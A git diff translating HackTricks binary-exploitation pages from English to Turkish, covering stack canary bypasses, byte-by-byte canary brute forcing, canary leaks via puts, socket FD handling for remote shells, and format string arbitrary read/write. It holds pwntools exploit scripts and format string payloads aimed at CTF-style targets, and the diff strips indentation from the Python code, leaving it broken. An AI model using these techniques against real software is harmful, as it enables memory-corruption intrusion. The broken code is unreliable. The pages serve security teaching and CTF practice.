**`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +`x64` ikili dosyalarında, canary çerezi bir **`0x8`** byte qword'dur. **İlk yedi byte rastgeledir** ve son byte bir **null byte**'dır. -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +`x86` ikili dosyalarında, canary çerezi bir **`0x4`** byte dword'dur. **İlk üç byte rastgeledir** ve son byte bir **null byte**'dır. > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> Her iki canary'nin en az anlamlı byte'ı bir null byte'dır çünkü bu, daha düşük adreslerden gelen yığında ilk olacak ve bu nedenle **string okuyan fonksiyonlar onu okumadan önce duracaktır**. -## Bypasses +## Bypass'ler -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**Canary'yi sızdırmak** ve ardından kendi değeriyle (örneğin, buffer overflow) üzerine yazmak. -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- Eğer **canary çocuk süreçlerde fork edilirse**, bir byte bir seferde **brute-force** yapmak mümkün olabilir: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- Eğer ikili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, onu sızdırmak mümkün olabilir: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **Yığın üzerinde saklanan işaretçileri üzerine yazmak** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +Yığın, bir yığın taşmasına karşı savunmasızsa, **string'lere veya üzerine yazılabilecek fonksiyonlara ait adresleri içerebilir**; bu da açığı istismar etmek için canary'e ulaşmadan yapılabilir. Kontrol et: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **Hem ana hem de iş parçacığı canary'sini değiştirmek** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +Canary ile korunan bir **iş parçacıklı fonksiyonda** bir buffer **overflow**, **iş parçacığının ana canary'sini değiştirmek için** kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır. -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Ayrıca, canary ile korunan bir **iş parçacıklı fonksiyonda** bir buffer **overflow**, **TLS'de saklanan ana canary'yi değiştirmek için** kullanılabilir. Bunun nedeni, bir iş parçacığının yığında bir **bof** aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmanın mümkün olabileceğidir.\ +Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır.\ +Bu saldırı, yazıda gerçekleştirilmiştir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Ayrıca, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin; bu sunumda genellikle **TLS**'nin **`mmap`** ile saklandığı ve bir **iş parçacığı** yığını oluşturulduğunda bunun da `mmap` ile oluşturulduğu belirtilmektedir; bu da önceki yazıda gösterildiği gibi taşmayı mümkün kılabilir. -- **Modify the GOT entry of `__stack_chk_fail`** +- **`__stack_chk_fail` GOT girişini değiştirmek** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +Eğer ikili dosya Partial RELRO'ya sahipse, o zaman **`__stack_chk_fail`**'in **GOT girişini** değiştirmek için keyfi bir yazma kullanarak sahte bir fonksiyon haline getirebilirsiniz; bu, canary değiştiğinde programı engellemez. -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Bu saldırı, yazıda gerçekleştirilmiştir: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## Referanslar - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..3460e59f6 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Eğer bir canary ve PIE (Position Independent Executable) ile korunmuş bir ikili dosya ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> **`checksec`**'in bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneği yoksa.\ +> Ancak, bir fonksiyon çağrısının başında bir değerin yığıtta saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda **çocuk süreçler fork eden** bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda **aynı canary kullanılacaktır**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Bu durumda, canary'yi aşmanın en iyi yolu sadece **karakter karakter brute-force yapmak** ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlamaktır. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force yapar** ve doğru tahmin edilen bir bayt ile kötü bir bayt arasında sadece **kontrol ederek** ayırt eder; eğer sunucu tarafından bir **yanıt** geri gönderilmişse (başka bir durumda **try/except** kullanmak da bir yol olabilir): -### Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +### Örnek 1 +Bu örnek 64 bit için uygulanmıştır ancak 32 bit için de kolayca uygulanabilir. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### Örnek 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Bu 32 bit için uygulanmıştır, ancak bu kolayca 64 bite değiştirilebilir.\ +Ayrıca bu örnek için **programın önce girişin boyutunu belirtmek için bir byte beklediğini** ve yükü dikkate alınız. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## İpleri -## Threads +Aynı işlemin ipleri de **aynı canary token'ını paylaşacaktır**, bu nedenle bir ikili her saldırı gerçekleştiğinde yeni bir ip oluşturuyorsa bir canary'yi **brute-forc**e etmek mümkün olacaktır. -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Ayrıca, canary ile korunan bir **ipli fonksiyonda bir buffer overflow** kullanılarak **TLS'de saklanan ana canary'yi değiştirmek** mümkün olabilir. Bunun nedeni, bir ipin **stack'inde bir bof** aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmanın mümkün olabilmesidir.\ +Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş olsa da) iki canary ile kullanılır.\ +Bu saldırı, yazıda gerçekleştirilmiştir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Ayrıca, genellikle **TLS**'nin **`mmap`** ile saklandığını ve bir **thread**'in **stack**'i oluşturulduğunda bunun da `mmap` ile oluşturulduğunu belirten [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin; bu, önceki yazıda gösterildiği gibi overflow'a izin verebilir. -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## Diğer örnekler ve referanslar - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bit, no PIE, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..c619b5ae0 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -2,32 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## Büyütülmüş yığın -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +Bir **stack overflow** açığına sahip bir **programın** **puts** fonksiyonunu **yığın taşmasına** **işaret eden** bir **kısma** yönlendirebildiği bir durumu hayal edin. Saldırgan, **kanaryanın ilk baytının bir null bayt olduğunu** (`\x00`) ve kanaryanın geri kalanının **rastgele** baytlar olduğunu bilir. Ardından, saldırgan **kanaryanın ilk baytına kadar yığını** **aşan** bir taşma oluşturabilir. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +Sonra, saldırgan **payload'un ortasında puts fonksiyonunu** **çağırır** ve bu, **kanaryayı** **yazdırır** (ilk null bayt hariç). -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +Bu bilgiyle saldırgan, kanaryayı (aynı program oturumunda) bilerek **yeni bir saldırı oluşturup gönderebilir**. -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +Açıkça, bu taktik çok **kısıtlıdır** çünkü saldırgan **payload'unun içeriğini** **yazdırabilmeli** ve **kanaryayı** **sızdırabilmeli** ve ardından **yeni bir payload** oluşturup (aynı program oturumunda) **gerçek buffer overflow'u** **gönderebilmelidir**. -**CTF examples:** +**CTF örnekleri:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR etkin ama PIE yok, ilk adım kanaryanın 0x00 baytına kadar bir taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Kanarya ile bir ROP gadget'ı oluşturulur ve puts'un GOT'dan adresini sızdırmak için puts'u çağırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı. - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bit, ARM, relro yok, kanarya, nx, pie yok. Kanaryayı sızdırmak için puts'a bir çağrı ile taşma ve `system`'ı çağıran bir ROP zinciri ile r0'ı (arg `/bin/sh`) ve pc'yi (system adresi) pop'lamak. -## Arbitrary Read +## Keyfi Okuma -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +**Keyfi okuma** ile format **string'leri** tarafından sağlanan bir yöntemle kanaryayı sızdırmak mümkün olabilir. Bu örneğe bakın: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) ve keyfi bellek adreslerini okumak için format string'lerini kötüye kullanma hakkında okuyabilirsiniz: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- Bu zorluk, yığından kanaryayı okumak için çok basit bir şekilde bir format string'ini kötüye kullanıyor. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..c92896887 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# Yaygın Sömürü Problemleri {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## Uzak Sömürüde FD'ler -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +Örneğin, **`system('/bin/sh')`** çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve `/bin/sh` stdin'den (FD: `0`) girdi bekleyecek ve stdout ile stderr'de (FD'ler `1` ve `2`) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır. -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +Bunu düzeltmenin bir yolu, sunucu başlatıldığında **FD numarası `3`** (dinleme için) oluşturduğunu ve ardından bağlantınızın **FD numarası `4`** olacağını varsaymaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için **`dup2`** sistem çağrısını kullanmak mümkündür, böylece çalıştırıldığında shell ile iletişim kurmak mümkün olacaktır. +[**Buradan Sömürü örneği**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +socat'ın zaten **`stdin`** ve **`stdout`**'u sokete aktardığını unutmayın. Ancak, `pty` modu **DELETE karakterlerini** içerir. Yani, bir `\x7f` (`DELETE` -) gönderirseniz, bu **saldırınızın önceki karakterini siler**. -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +Bunu aşmak için, gönderilen her `\x7f`'ye **kaçış karakteri `\x16` eklenmelidir.** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**Burada bu davranışın** [**bir örneğini bulabilirsiniz**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..a2aad9e0a 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
+## Temel Bilgiler -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir. -{% embed url="https://www.stmcyber.com/careers" %} +Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir. -## Basic Information - -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. - -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. - -#### Formatters: +Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak** için özel bir **girdi oluşturma** yeteneğine sahip olacaktır. Bu şekilde **rastgele kod çalıştırma** imkanı bulur. +#### Formatlayıcılar: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**Örnekler:** -**Examples:** - -- Vulnerable example: - +- Açık örnek: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- Normal Kullanım: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- Eksik Argümanlarla: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf zayıf: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **Pointer'lara Erişim** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +Format **`%$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz: ```c printf("%x %x %x %x") ``` +ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz. -and you would read from the first to the forth param. - -Or you could do: - +Ya da şunu yapabilirsiniz: ```c printf("%4$x") ``` +ve doğrudan dördüncüyü okuyun. -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığına yazabileceği anlamına gelir. > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adresler ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır. -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **Rastgele Okuma** +Biçimlendiriciyi **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i almasını sağlamak mümkündür, ardından bunu **bir dizeymiş gibi yazdırır** (0x00 bulunana kadar yazdırır). Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür: ```python from pwn import * @@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir. -### Find offset +### Ofseti Bul -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'leri` alana kadar devam edebilirsiniz.
-Brute Force printf offset - +Brute Force printf ofseti ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +102,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### Ne kadar faydalı -Arbitrary reads can be useful to: +Rastgele okumalar şunlar için faydalı olabilir: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Bellekten** **ikili** **dosyayı** **dökme** +- **Hassas** **bilgilerin** saklandığı bellek **bölümlerine** (canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler) **erişim** sağlama -## **Arbitrary Write** +## **Rastgele Yazma** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +Formatlayıcı **`%$n`** **yazılan baytların sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir. +Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.%$n`** formatlayıcısını kullanarak **``** sayısını **`num` pozisyonu tarafından gösterilen adrese** yazmak mümkündür. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için. -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. 